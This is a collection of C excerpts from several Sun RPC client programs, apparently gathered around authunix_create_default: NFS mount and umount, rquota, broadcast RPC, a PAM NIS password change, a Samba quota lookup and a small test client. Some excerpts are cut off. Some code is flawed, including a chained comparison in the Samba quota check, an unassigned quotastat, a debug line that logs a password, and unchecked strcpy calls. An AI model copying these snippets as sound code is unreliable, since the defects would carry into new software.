(!strcmp(opt, "lock")) { if (nfs_mount_version >= 3) nolock = !val; else printf(_("Warning: option nolock is not supported.\n")); } else if (!strcmp(opt, "broken_suid")) { broken_suid = val; } else { if (!sloppy) { printf(_("unknown nfs mount option: " "%s%s\n"), val ? "" : "no", opt); goto fail; } } } } proto = (tcp) ? IPPROTO_TCP : IPPROTO_UDP; data.flags = (soft ? NFS_MOUNT_SOFT : 0) | (intr ? NFS_MOUNT_INTR : 0) | (posix ? NFS_MOUNT_POSIX : 0) | (nocto ? NFS_MOUNT_NOCTO : 0) | (noac ? NFS_MOUNT_NOAC : 0); #if NFS_MOUNT_VERSION >= 2 if (nfs_mount_version >= 2) data.flags |= (tcp ? NFS_MOUNT_TCP : 0); #endif #if NFS_MOUNT_VERSION >= 3 if (nfs_mount_version >= 3) data.flags |= (nolock ? NFS_MOUNT_NONLM : 0); #endif #if NFS_MOUNT_VERSION >= 4 if (nfs_mount_version >= 4) data.flags |= (broken_suid ? NFS_MOUNT_BROKEN_SUID : 0); #endif if (nfsvers > MAX_NFSPROT) { fprintf(stderr, "NFSv%d not supported!\n", nfsvers); return 0; } if (mountvers > MAX_NFSPROT) { fprintf(stderr, "NFSv%d not supported!\n", nfsvers); return 0; } if (nfsvers && !mountvers) mountvers = (nfsvers < 3) ? 1 : nfsvers; if (nfsvers && nfsvers < mountvers) mountvers = nfsvers; /* Adjust options if none specified */ if (!data.timeo) data.timeo = tcp ? 70 : 7; #ifdef NFS_MOUNT_DEBUG printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n", data.rsize, data.wsize, data.timeo, data.retrans); printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n", data.acregmin, data.acregmax, data.acdirmin, data.acdirmax); printf("port = %d, bg = %d, retry = %d, flags = %.8x\n", port, bg, retry, data.flags); printf("mountprog = %d, mountvers = %d, nfsprog = %d, nfsvers = %d\n", mountprog, mountvers, nfsprog, nfsvers); printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n", (data.flags & NFS_MOUNT_SOFT) != 0, (data.flags & NFS_MOUNT_INTR) != 0, (data.flags & NFS_MOUNT_POSIX) != 0, (data.flags & NFS_MOUNT_NOCTO) != 0, (data.flags & NFS_MOUNT_NOAC) != 0); #if NFS_MOUNT_VERSION >= 2 printf("tcp = %d\n", (data.flags & NFS_MOUNT_TCP) != 0); #endif #endif data.version = nfs_mount_version; *mount_opts = (char *) &data; if (*flags & MS_REMOUNT) return 0; /* * If the previous mount operation on the same host was * backgrounded, and the "bg" for this mount is also set, * give up immediately, to avoid the initial timeout. */ if (bg && !running_bg && prev_bg_host && strcmp(hostname, prev_bg_host) == 0) { if (retry > 0) retval = EX_BG; return retval; } /* create mount deamon client */ /* See if the nfs host = mount host. */ if (mounthost) { if (mounthost[0] >= '0' && mounthost[0] <= '9') { mount_server_addr.sin_family = AF_INET; mount_server_addr.sin_addr.s_addr = inet_addr(hostname); } else { if ((hp = gethostbyname(mounthost)) == NULL) { fprintf(stderr, _("mount: can't get address for %s\n"), mounthost); goto fail; } else { if (hp->h_length > sizeof(struct in_addr)) { fprintf(stderr, _("mount: got bad hp->h_length?\n")); hp->h_length = sizeof(struct in_addr); } mount_server_addr.sin_family = AF_INET; memcpy(&mount_server_addr.sin_addr, hp->h_addr, hp->h_length); } } } /* * The following loop implements the mount retries. On the first * call, "running_bg" is 0. When the mount times out, and the * "bg" option is set, the exit status EX_BG will be returned. * For a backgrounded mount, there will be a second call by the * child process with "running_bg" set to 1. * * The case where the mount point is not present and the "bg" * option is set, is treated as a timeout. This is done to * support nested mounts. * * The "retry" count specified by the user is the number of * minutes to retry before giving up. * * Only the first error message will be displayed. */ retry_timeout.tv_sec = 3; retry_timeout.tv_usec = 0; total_timeout.tv_sec = 20; total_timeout.tv_usec = 0; timeout = time(NULL) + 60 * retry; prevt = 0; t = 30; val = 1; for (;;) { if (bg && stat(node, &statbuf) == -1) { /* no mount point yet - sleep */ if (running_bg) { sleep(val); /* 1, 2, 4, 8, 16, 30, ... */ val *= 2; if (val > 30) val = 30; } } else { /* be careful not to use too many CPU cycles */ if (t - prevt < 30) sleep(30); pm_mnt = get_mountport(&mount_server_addr, mountprog, mountvers, proto, mountport, nfs_mount_version); /* contact the mount daemon via TCP */ mount_server_addr.sin_port = htons(pm_mnt->pm_port); msock = RPC_ANYSOCK; switch (pm_mnt->pm_prot) { case IPPROTO_UDP: mclient = clntudp_create(&mount_server_addr, pm_mnt->pm_prog, pm_mnt->pm_vers, retry_timeout, &msock); if (mclient) break; mount_server_addr.sin_port = htons(pm_mnt->pm_port); msock = RPC_ANYSOCK; case IPPROTO_TCP: mclient = clnttcp_create(&mount_server_addr, pm_mnt->pm_prog, pm_mnt->pm_vers, &msock, 0, 0); break; default: mclient = 0; } if (mclient) { /* try to mount hostname:dirname */ mclient->cl_auth = authunix_create_default(); /* make pointers in xdr_mountres3 NULL so * that xdr_array allocates memory for us */ memset(&status, 0, sizeof(status)); if (pm_mnt->pm_vers == 3) clnt_stat = clnt_call(mclient, MOUNTPROC3_MNT, (xdrproc_t) xdr_dirpath, (caddr_t) &dirname, (xdrproc_t) xdr_mountres3, (caddr_t) &status, total_timeout); else clnt_stat = clnt_call(mclient, MOUNTPROC_MNT, (xdrproc_t) xdr_dirpath, (caddr_t) &dirname, (xdrproc_t) xdr_fhstatus, (caddr_t) &status, total_timeout); if (clnt_stat == RPC_SUCCESS) break; /* we're done */ #if 0 /* errno? who sets errno? */ /* this fragment breaks bg mounting */ if (errno != ECONNREFUSED) { clnt_perror(mclient, "mount"); goto fail; /* don't retry */ } #endif if (!running_bg && prevt == 0) clnt_perror(mclient, "mount"); auth_destroy(mclient->cl_auth); clnt_destroy(mclient); mclient = 0; close(msock); } else { if (!running_bg && prevt == 0) clnt_pcreateerror("mount"); } prevt = t; } if (!bg) goto fail; if (!running_bg) { prev_bg_host = xstrdup(hostname); if (retry > 0) retval = EX_BG; goto fail; } t = time(NULL); if (t >= timeout) goto fail; } nfsvers = (pm_mnt->pm_vers < 2) ? 2 : pm_mnt->pm_vers; if (nfsvers == 2) { if (status.nfsv2.fhs_status != 0) { fprintf(stderr, "mount: %s:%s failed, reason given by server: %s\n", hostname, dirname, nfs_strerror(status.nfsv2.fhs_status)); goto fail; } memcpy(data.root.data, (char *) status.nfsv2.fhstatus_u.fhs_fhandle, NFS_FHSIZE); #if NFS_MOUNT_VERSION >= 4 data.root.size = NFS_FHSIZE; memcpy(data.old_root.data, (char *) status.nfsv2.fhstatus_u.fhs_fhandle, NFS_FHSIZE); #endif } else { #if NFS_MOUNT_VERSION >= 4 fhandle3 *fhandle; if (status.nfsv3.fhs_status != 0) { fprintf(stderr, "mount: %s:%s failed, reason given by server: %s\n", hostname, dirname, nfs_strerror(status.nfsv3.fhs_status)); goto fail; } fhandle = &status.nfsv3.mountres3_u.mountinfo.fhandle; memset(data.old_root.data, 0, NFS_FHSIZE); memset(&data.root, 0, sizeof(data.root)); data.root.size = fhandle->fhandle3_len; memcpy(data.root.data, (char *) fhandle->fhandle3_val, fhandle->fhandle3_len); data.flags |= NFS_MOUNT_VER3; #endif } /* create nfs socket for kernel */ if (tcp) { if (nfs_mount_version < 3) { printf(_("NFS over TCP is not supported.\n")); goto fail; } fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } else fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (fsock < 0) { perror(_("nfs socket")); goto fail; } if (bindresvport(fsock, 0) < 0) { perror(_("nfs bindresvport")); goto fail; } if (port == 0) { server_addr.sin_port = PMAPPORT; port = pmap_getport(&server_addr, nfsprog, nfsvers, tcp ? IPPROTO_TCP : IPPROTO_UDP); #if 1 /* Here we check to see if user is mounting with the * tcp option. If so, and if the portmap returns a * '0' for port (service unavailable), we then exit, * notifying the user, rather than hanging up mount. */ if (port == 0 && tcp == 1) { perror(_("nfs server reported service unavailable")); goto fail; } #endif if (port == 0) port = NFS_PORT; #ifdef NFS_MOUNT_DEBUG else printf(_("used portmapper to find NFS port\n")); #endif } #ifdef NFS_MOUNT_DEBUG printf(_("using port %d for nfs deamon\n"), port); #endif server_addr.sin_port = htons(port); /* * connect() the socket for kernels 1.3.10 and below only, * to avoid problems with multihomed hosts. * --Swen */ if (linux_version_code() <= 66314 && connect(fsock, (struct sockaddr *) &server_addr, sizeof (server_addr)) < 0) { perror(_("nfs connect")); goto fail; } /* prepare data structure for kernel */ data.fd = fsock; memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr)); strncpy(data.hostname, hostname, sizeof(data.hostname)); /* clean up */ auth_destroy(mclient->cl_auth); clnt_destroy(mclient); close(msock); return 0; /* abort */ fail: if (msock != -1) { if (mclient) { auth_destroy(mclient->cl_auth); clnt_destroy(mclient); } close(msock); } if (fsock != -1) close(fsock); return retval; }
/* * Set the requested quota information on a remote host. */ int rpc_rquota_set(int qcmd, struct dquot *dquot) { #if defined(RPC_SETQUOTA) CLIENT *clnt; setquota_rslt *result; union { setquota_args arg; ext_setquota_args ext_arg; } args; char *fsname_tmp, *host, *pathname; struct timeval timeout = { 2, 0 }; int rquotaprog_not_registered = 0; int ret; /* RPC limits values to 32b variables. Prevent value wrapping. */ if (check_dquot_range(dquot) < 0) return -ERANGE; /* * Convert host:pathname to seperate host and pathname. */ fsname_tmp = (char *)smalloc(strlen(dquot->dq_h->qh_quotadev) + 1); strcpy(fsname_tmp, dquot->dq_h->qh_quotadev); if (!split_nfs_mount(fsname_tmp, &host, &pathname)) { free(fsname_tmp); return -ENOENT; } /* For NFSv4, we send the filesystem path without initial /. Server prepends proper * NFS pseudoroot automatically and uses this for detection of NFSv4 mounts. */ if ((dquot->dq_h->qh_io_flags & IOFL_NFS_MIXED_PATHS) && !strcmp(dquot->dq_h->qh_fstype, MNTTYPE_NFS4)) { while (*pathname == '/') pathname++; } /* * First try EXT_RQUOTAPROG (Extended (LINUX) RPC quota program) */ args.ext_arg.sqa_qcmd = qcmd; args.ext_arg.sqa_pathp = pathname; args.ext_arg.sqa_id = dquot->dq_id; args.ext_arg.sqa_type = dquot->dq_h->qh_type; cliutil2netdqblk(&args.ext_arg.sqa_dqblk, &dquot->dq_dqb); if ((clnt = clnt_create(host, RQUOTAPROG, EXT_RQUOTAVERS, "udp")) != NULL) { /* * Initialize unix authentication */ clnt->cl_auth = authunix_create_default(); /* * Setup protocol timeout. */ clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout); /* * Do RPC call and check result. */ result = rquotaproc_setquota_2(&args.ext_arg, clnt); if (result != NULL && result->status == Q_OK) clinet2utildqblk(&dquot->dq_dqb, &result->setquota_rslt_u.sqr_rquota); /* * Destroy unix authentication and RPC client structure. */ auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } else { result = NULL; if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED) rquotaprog_not_registered = 1; } if (result == NULL || !result->status) { if (dquot->dq_h->qh_type == USRQUOTA) { /* * Try RQUOTAPROG because server doesn't seem to understand EXT_RQUOTAPROG. (NON-LINUX servers.) */ args.arg.sqa_qcmd = qcmd; args.arg.sqa_pathp = pathname; args.arg.sqa_id = dquot->dq_id; cliutil2netdqblk(&args.arg.sqa_dqblk, &dquot->dq_dqb); /* * Create a RPC client. */ if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) != NULL) { /* * Initialize unix authentication */ clnt->cl_auth = authunix_create_default(); /* * Setup protocol timeout. */ clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout); /* * Do RPC call and check result. */ result = rquotaproc_setquota_1(&args.arg, clnt); if (result != NULL && result->status == Q_OK) clinet2utildqblk(&dquot->dq_dqb, &result->setquota_rslt_u.sqr_rquota); /* * Destroy unix authentication and RPC client structure. */ auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } else { result = NULL; if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED) rquotaprog_not_registered = 1; } } } free(fsname_tmp); if (result) ret = result->status; else if (rquotaprog_not_registered) ret = Q_NOQUOTA; else ret = -1; return rquota_err(ret); #endif return -1; }
enum clnt_stat clnt_broadcast ( u_long prog, /* program number */ u_long vers, /* version number */ u_long proc, /* procedure number */ xdrproc_t xargs, /* xdr routine for args */ caddr_t argsp, /* pointer to args */ xdrproc_t xresults, /* xdr routine for results */ caddr_t resultsp, /* pointer to results */ resultproc_t eachresult /* call with each result obtained */) { enum clnt_stat stat = RPC_FAILED; AUTH *unix_auth = authunix_create_default (); XDR xdr_stream; XDR *xdrs = &xdr_stream; struct timeval t; int outlen, inlen, nets; socklen_t fromlen; int sock; int on = 1; struct pollfd fd; int milliseconds; int i; bool_t done = FALSE; u_long xid; u_long port; struct in_addr addrs[20]; struct sockaddr_in baddr, raddr; /* broadcast and response addresses */ struct rmtcallargs a; struct rmtcallres r; struct rpc_msg msg; char outbuf[MAX_BROADCAST_SIZE], inbuf[UDPMSGSIZE]; /* * initialization: create a socket, a broadcast address, and * preserialize the arguments into a send buffer. */ if ((sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror (_("Cannot create socket for broadcast rpc")); stat = RPC_CANTSEND; goto done_broad; } #ifdef SO_BROADCAST if (setsockopt (sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof (on)) < 0) { perror (_("Cannot set socket option SO_BROADCAST")); stat = RPC_CANTSEND; goto done_broad; } #endif /* def SO_BROADCAST */ fd.fd = sock; fd.events = POLLIN; nets = getbroadcastnets (addrs, sock, inbuf); memset ((char *) &baddr, 0, sizeof (baddr)); baddr.sin_family = AF_INET; baddr.sin_port = htons (PMAPPORT); baddr.sin_addr.s_addr = htonl (INADDR_ANY); /* baddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY); */ msg.rm_xid = xid = _create_xid (); t.tv_usec = 0; msg.rm_direction = CALL; msg.rm_call.cb_rpcvers = RPC_MSG_VERSION; msg.rm_call.cb_prog = PMAPPROG; msg.rm_call.cb_vers = PMAPVERS; msg.rm_call.cb_proc = PMAPPROC_CALLIT; msg.rm_call.cb_cred = unix_auth->ah_cred; msg.rm_call.cb_verf = unix_auth->ah_verf; a.prog = prog; a.vers = vers; a.proc = proc; a.xdr_args = xargs; a.args_ptr = argsp; r.port_ptr = &port; r.xdr_results = xresults; r.results_ptr = resultsp; xdrmem_create (xdrs, outbuf, MAX_BROADCAST_SIZE, XDR_ENCODE); if ((!xdr_callmsg (xdrs, &msg)) || (!xdr_rmtcall_args (xdrs, &a))) { stat = RPC_CANTENCODEARGS; goto done_broad; } outlen = (int) xdr_getpos (xdrs); xdr_destroy (xdrs); /* * Basic loop: broadcast a packet and wait a while for response(s). * The response timeout grows larger per iteration. */ for (t.tv_sec = 4; t.tv_sec <= 14; t.tv_sec += 2) { for (i = 0; i < nets; i++) { baddr.sin_addr = addrs[i]; if (sendto (sock, outbuf, outlen, 0, (struct sockaddr *) &baddr, sizeof (struct sockaddr)) != outlen) { perror (_("Cannot send broadcast packet")); stat = RPC_CANTSEND; goto done_broad; } } if (eachresult == NULL) { stat = RPC_SUCCESS; goto done_broad; } recv_again: msg.acpted_rply.ar_verf = _null_auth; msg.acpted_rply.ar_results.where = (caddr_t) & r; msg.acpted_rply.ar_results.proc = (xdrproc_t) xdr_rmtcallres; milliseconds = t.tv_sec * 1000 + t.tv_usec / 1000; switch (poll(&fd, 1, milliseconds)) { case 0: /* timed out */ stat = RPC_TIMEDOUT; continue; case -1: /* some kind of error */ if (errno == EINTR) goto recv_again; perror (_("Broadcast poll problem")); stat = RPC_CANTRECV; goto done_broad; } /* end of poll results switch */ try_again: fromlen = sizeof (struct sockaddr); inlen = recvfrom (sock, inbuf, UDPMSGSIZE, 0, (struct sockaddr *) &raddr, &fromlen); if (inlen < 0) { if (errno == EINTR) goto try_again; perror (_("Cannot receive reply to broadcast")); stat = RPC_CANTRECV; goto done_broad; } if ((size_t) inlen < sizeof (u_long)) goto recv_again; /* * see if reply transaction id matches sent id. * If so, decode the results. */ xdrmem_create (xdrs, inbuf, (u_int) inlen, XDR_DECODE); if (xdr_replymsg (xdrs, &msg)) { if (((u_int32_t) msg.rm_xid == (u_int32_t) xid) && (msg.rm_reply.rp_stat == MSG_ACCEPTED) && (msg.acpted_rply.ar_stat == SUCCESS)) { raddr.sin_port = htons ((u_short) port); done = (*eachresult) (resultsp, &raddr); } /* otherwise, we just ignore the errors ... */ } else { #ifdef notdef /* some kind of deserialization problem ... */ if ((u_int32_t) msg.rm_xid == (u_int32_t) xid) fprintf (stderr, "Broadcast deserialization problem"); /* otherwise, just random garbage */ #endif } xdrs->x_op = XDR_FREE; msg.acpted_rply.ar_results.proc = (xdrproc_t)xdr_void; (void) xdr_replymsg (xdrs, &msg); (void) (*xresults) (xdrs, resultsp); xdr_destroy (xdrs); if (done) { stat = RPC_SUCCESS; goto done_broad; } else { goto recv_again; } } done_broad: (void) close (sock); AUTH_DESTROY (unix_auth); return stat; }
main( int argc, char * argv[] ) { struct timeval intervalle = { TIMEOUT_SEC, 0 }; CLIENT * client ; int c ; struct rpcent * etc_rpc ; /* pour consulter /etc/rpc ou rpc.bynumber */ unsigned int adresse_serveur ; /* Au format NET */ struct hostent * hp ; char nom_exec[MAXPATHLEN] ; char machine_locale[256] ; char * tempo_nom_exec = NULL ; unsigned int rpc_service_num = DEFAULT_RPC_SERVICE ; unsigned int rpc_version = V1 ; unsigned int rpcproc = PROC_PLUS1 ; unsigned short port = ntohs( DEFAULT_PORT ) ; int val = 2 ; int rc ; char gss_service[1024] ; char host[100] ; strcpy( ifname, "eth0" ) ; /* On recupere le nom de l'executable */ if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL ) strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ; strcpy( ifname, "eth0" ) ; while( ( c = getopt( argc, argv, options ) ) != EOF ) { switch( c ) { case 'd': /* Cette option permet de recuperer un nom pour la machine distante */ if( isalpha( *optarg ) ) { strcpy( host, optarg ) ; } else { adresse_serveur = inet_addr( optarg ) ; } break; case 's': /* Un nom ou un numero de service a ete indique */ if( isalpha( (int)*optarg ) ) { /* Ca commence pas par un chiffre donc c'est un nom service */ if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL ) { fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ; } else { rpc_service_num = etc_rpc->r_number ; } } else { /* C'est un numero de service qui est indique */ rpc_service_num = atoi( optarg ) ; } break ; case 'v': /* numero de version */ rpc_version = atoi( optarg ) ; break ; case 'p': rpcproc = atoi( optarg ) ; break ; case 'I': strcpy( ifname, optarg ) ; break ; case 'h': case '?': default: /* Affichage de l'aide en ligne */ fprintf( stderr, utilisation, nom_exec ) ; exit( 0 ) ; break ; } } if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL ) { char erreur[100] ; strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ; fprintf( stderr, "Creation RPC: %s\n", erreur ) ; exit( 1 ) ; } client->cl_auth = authunix_create_default(); val = 2 ; fprintf( stderr, "J'envoie la valeur %d\n", val ) ; if( ( rc = clnt_call( client, rpcproc, (xdrproc_t)xdr_int, (caddr_t)&val, (xdrproc_t)xdr_int, (caddr_t)&val, intervalle ) ) != RPC_SUCCESS ) { clnt_perror( client, "appel a FIXE_RET\n" ) ; exit ( 1 ) ; } fprintf( stderr, "Je recois la valeur %d\n", val ) ; auth_destroy( client->cl_auth ) ; clnt_destroy( client ) ; }
static int _do_setpass(pam_handle_t* pamh, const char *forwho, char *fromwhat, char *towhat, unsigned int ctrl, int remember) { struct passwd *pwd = NULL; int retval = 0; D(("called")); setpwent(); pwd = getpwnam(forwho); endpwent(); if (pwd == NULL) return PAM_AUTHTOK_ERR; if (on(UNIX_NIS, ctrl)) { struct timeval timeout; struct yppasswd yppwd; CLIENT *clnt; char *master; int status; int err = 0; /* Make RPC call to NIS server */ if ((master = getNISserver(pamh)) == NULL) return PAM_TRY_AGAIN; /* Initialize password information */ yppwd.newpw.pw_passwd = pwd->pw_passwd; yppwd.newpw.pw_name = pwd->pw_name; yppwd.newpw.pw_uid = pwd->pw_uid; yppwd.newpw.pw_gid = pwd->pw_gid; yppwd.newpw.pw_gecos = pwd->pw_gecos; yppwd.newpw.pw_dir = pwd->pw_dir; yppwd.newpw.pw_shell = pwd->pw_shell; yppwd.oldpass = fromwhat; yppwd.newpw.pw_passwd = towhat; D(("Set password %s for %s", yppwd.newpw.pw_passwd, forwho)); /* The yppasswd.x file said `unix authentication required', * so I added it. This is the only reason it is in here. * My yppasswdd doesn't use it, but maybe some others out there * do. --okir */ clnt = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp"); clnt->cl_auth = authunix_create_default(); memset((char *) &status, '\0', sizeof(status)); timeout.tv_sec = 25; timeout.tv_usec = 0; err = clnt_call(clnt, YPPASSWDPROC_UPDATE, (xdrproc_t) xdr_yppasswd, (char *) &yppwd, (xdrproc_t) xdr_int, (char *) &status, timeout); if (err) { clnt_perrno(err); retval = PAM_TRY_AGAIN; } else if (status) { D(("Error while changing NIS password.\n")); retval = PAM_TRY_AGAIN; } D(("The password has%s been changed on %s.", (err || status) ? " not" : "", master)); auth_destroy(clnt->cl_auth); clnt_destroy(clnt); if ((err || status) != 0) { retval = PAM_TRY_AGAIN; } #ifdef DEBUG sleep(5); #endif return retval; } /* first, save old password */ if (save_old_password(forwho, fromwhat, remember)) { return PAM_AUTHTOK_ERR; } if (on(UNIX_SHADOW, ctrl) || (strcmp(pwd->pw_passwd, "x") == 0)) { retval = _update_shadow(forwho, towhat); if (retval == PAM_SUCCESS) retval = _update_passwd(forwho, "x"); } else { retval = _update_passwd(forwho, towhat); } return retval; }
int umountfs(char *oname) { enum clnt_stat clnt_stat; struct hostent *hp; struct sockaddr_in saddr; struct stat sb; struct timeval pertry, try; CLIENT *clp; int so; char *delimp, *hostp, *mntpt; char *name, *newname, rname[MAXPATHLEN], type[MFSNAMELEN]; if (realpath(oname, rname) == NULL) mntpt = name = oname; else mntpt = name = rname; newname = NULL; /* If we can stat the file, check to see if it is a device or non-dir */ if (stat(name, &sb) == 0) { if (S_ISBLK(sb.st_mode)) { if ((mntpt = getmntname(name, MNTON, type)) == NULL) { warnx("%s: not currently mounted", name); return (1); } } else if (!S_ISDIR(sb.st_mode)) { warnx("%s: not a directory or special device", name); return (1); } } /* * Look up the name in the mount table. * 99.9% of the time the path in the kernel is the one * realpath() returns but check the original just in case... */ if (!(newname = getmntname(name, MNTFROM, type)) && !(mntpt = getmntname(name, MNTON, type)) ) { mntpt = oname; if (!(newname = getmntname(oname, MNTFROM, type)) && !(mntpt = getmntname(oname, MNTON, type))) { warnx("%s: not currently mounted", oname); return (1); } } if (newname) name = newname; if (!selected(type)) return (1); if (!strncmp(type, MOUNT_NFS, MFSNAMELEN)) { if ((delimp = strchr(name, '@')) != NULL) { hostp = delimp + 1; *delimp = '\0'; hp = gethostbyname(hostp); *delimp = '@'; } else if ((delimp = strchr(name, ':')) != NULL) { *delimp = '\0'; hostp = name; hp = gethostbyname(hostp); name = delimp + 1; *delimp = ':'; } else hp = NULL; if (!namematch(hp)) return (1); } if (verbose) (void)printf("%s: unmount from %s\n", name, mntpt); if (unmount(mntpt, fflag) < 0) { warn("%s", mntpt); return (1); } if (!strncmp(type, MOUNT_NFS, MFSNAMELEN) && (hp != NULL) && !(fflag & MNT_FORCE)) { *delimp = '\0'; memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = 0; memmove(&saddr.sin_addr, hp->h_addr, hp->h_length); pertry.tv_sec = 3; pertry.tv_usec = 0; so = RPC_ANYSOCK; if ((clp = clntudp_create(&saddr, RPCPROG_MNT, RPCMNT_VER1, pertry, &so)) == NULL) { clnt_pcreateerror("Cannot MNT PRC"); return (1); } clp->cl_auth = authunix_create_default(); try.tv_sec = 20; try.tv_usec = 0; clnt_stat = clnt_call(clp, RPCMNT_UMOUNT, xdr_dir, name, xdr_void, (caddr_t)0, try); if (clnt_stat != RPC_SUCCESS) { clnt_perror(clp, "Bad MNT RPC"); return (1); } auth_destroy(clp->cl_auth); clnt_destroy(clp); }
/* Restricted to SUNOS5 for the moment, I haven`t access to others to test. */ static BOOL nfs_quotas(char *nfspath, uid_t euser_id, SMB_BIG_UINT *bsize, SMB_BIG_UINT *dfree, SMB_BIG_UINT *dsize) { uid_t uid = euser_id; struct dqblk D; char *mnttype = nfspath; CLIENT *clnt; struct getquota_rslt gqr; struct getquota_args args; char *cutstr, *pathname, *host, *testpath; int len; static struct timeval timeout = {2,0}; enum clnt_stat clnt_stat; BOOL ret = True; *bsize = *dfree = *dsize = (SMB_BIG_UINT)0; len=strcspn(mnttype, ":"); pathname=strstr(mnttype, ":"); cutstr = (char *) malloc(len+1); if (!cutstr) return False; memset(cutstr, '\0', len+1); host = strncat(cutstr,mnttype, sizeof(char) * len ); DEBUG(5,("nfs_quotas: looking for mount on \"%s\"\n", cutstr)); DEBUG(5,("nfs_quotas: of path \"%s\"\n", mnttype)); testpath=strchr(mnttype, ':'); args.gqa_pathp = testpath+1; args.gqa_uid = uid; DEBUG(5,("nfs_quotas: Asking for host \"%s\" rpcprog \"%i\" rpcvers \"%i\" network \"%s\"\n", host, RQUOTAPROG, RQUOTAVERS, "udp")); if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) == NULL) { ret = False; goto out; } clnt->cl_auth = authunix_create_default(); DEBUG(9,("nfs_quotas: auth_success\n")); clnt_stat=clnt_call(clnt, RQUOTAPROC_GETQUOTA, xdr_getquota_args, (caddr_t)&args, xdr_getquota_rslt, (caddr_t)&gqr, timeout); if (clnt_stat != RPC_SUCCESS) { DEBUG(9,("nfs_quotas: clnt_call fail\n")); ret = False; goto out; } /* * quotastat returns 0 if the rpc call fails, 1 if quotas exist, 2 if there is * no quota set, and 3 if no permission to get the quota. If 0 or 3 return * something sensible. */ switch ( quotastat ) { case 0: DEBUG(9,("nfs_quotas: Remote Quotas Failed! Error \"%i\" \n", quotastat )); ret = False; goto out; case 1: DEBUG(9,("nfs_quotas: Good quota data\n")); D.dqb_bsoftlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit; D.dqb_bhardlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit; D.dqb_curblocks = gqr.getquota_rslt_u.gqr_rquota.rq_curblocks; break; case 2: case 3: D.dqb_bsoftlimit = 1; D.dqb_curblocks = 1; DEBUG(9,("nfs_quotas: Remote Quotas returned \"%i\" \n", quotastat )); break; default: DEBUG(9,("nfs_quotas: Remote Quotas Questionable! Error \"%i\" \n", quotastat )); break; } DEBUG(10,("nfs_quotas: Let`s look at D a bit closer... status \"%i\" bsize \"%i\" active? \"%i\" bhard \"%i\" bsoft \"%i\" curb \"%i\" \n", quotastat, gqr.getquota_rslt_u.gqr_rquota.rq_bsize, gqr.getquota_rslt_u.gqr_rquota.rq_active, gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit, gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit, gqr.getquota_rslt_u.gqr_rquota.rq_curblocks)); *bsize = gqr.getquota_rslt_u.gqr_rquota.rq_bsize; *dsize = D.dqb_bsoftlimit; if (D.dqb_curblocks == D.dqb_curblocks == 1) *bsize = 512; if (D.dqb_curblocks > D.dqb_bsoftlimit) { *dfree = 0; *dsize = D.dqb_curblocks; } else *dfree = D.dqb_bsoftlimit - D.dqb_curblocks; out: if (clnt) { if (clnt->cl_auth) auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } DEBUG(5,("nfs_quotas: For path \"%s\" returning bsize %.0f, dfree %.0f, dsize %.0f\n",args.gqa_pathp,(double)*bsize,(double)*dfree,(double)*dsize)); safe_free(cutstr); DEBUG(10,("nfs_quotas: End of nfs_quotas\n" )); return ret; }
static int nfs_probe_statd(void) { struct sockaddr_in addr = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_LOOPBACK), }; rpcprog_t program = nfs_getrpcbyname(NSMPROG, nfs_ns_pgmtbl); return nfs_getport_ping((struct sockaddr *)&addr, sizeof(addr), program, (rpcvers_t)1, IPPROTO_UDP); } /** * start_statd - attempt to start rpc.statd * * Returns 1 if statd is running; otherwise zero. */ int start_statd(void) { #ifdef START_STATD struct stat stb; #endif if (nfs_probe_statd()) return 1; #ifdef START_STATD if (stat(START_STATD, &stb) == 0) { if (S_ISREG(stb.st_mode) && (stb.st_mode & S_IXUSR)) { pid_t pid = fork(); switch (pid) { case 0: /* child */ execl(START_STATD, START_STATD, NULL); exit(1); case -1: /* error */ nfs_error(_("fork failed: %s"), strerror(errno)); break; default: /* parent */ waitpid(pid, NULL,0); break; } if (nfs_probe_statd()) return 1; } } #endif return 0; } /** * nfs_advise_umount - ask the server to remove a share from it's rmtab * @sap: pointer to IP address of server to call * @salen: length of server address * @pmap: partially filled-in mountd RPC service tuple * @argp: directory path of share to "unmount" * * Returns one if the unmount call succeeded; zero if the unmount * failed for any reason; rpccreateerr.cf_stat is set to reflect * the nature of the error. * * We use a fast timeout since this call is advisory only. */ int nfs_advise_umount(const struct sockaddr *sap, const socklen_t salen, const struct pmap *pmap, const dirpath *argp) { struct sockaddr_storage address; struct sockaddr *saddr = (struct sockaddr *)&address; struct pmap mnt_pmap = *pmap; struct timeval timeout = { .tv_sec = MOUNT_TIMEOUT >> 3, }; CLIENT *client; enum clnt_stat res = 0; if (nfs_probe_mntport(sap, salen, &mnt_pmap) == 0) return 0; memcpy(saddr, sap, salen); nfs_set_port(saddr, mnt_pmap.pm_port); client = nfs_get_rpcclient(saddr, salen, mnt_pmap.pm_prot, 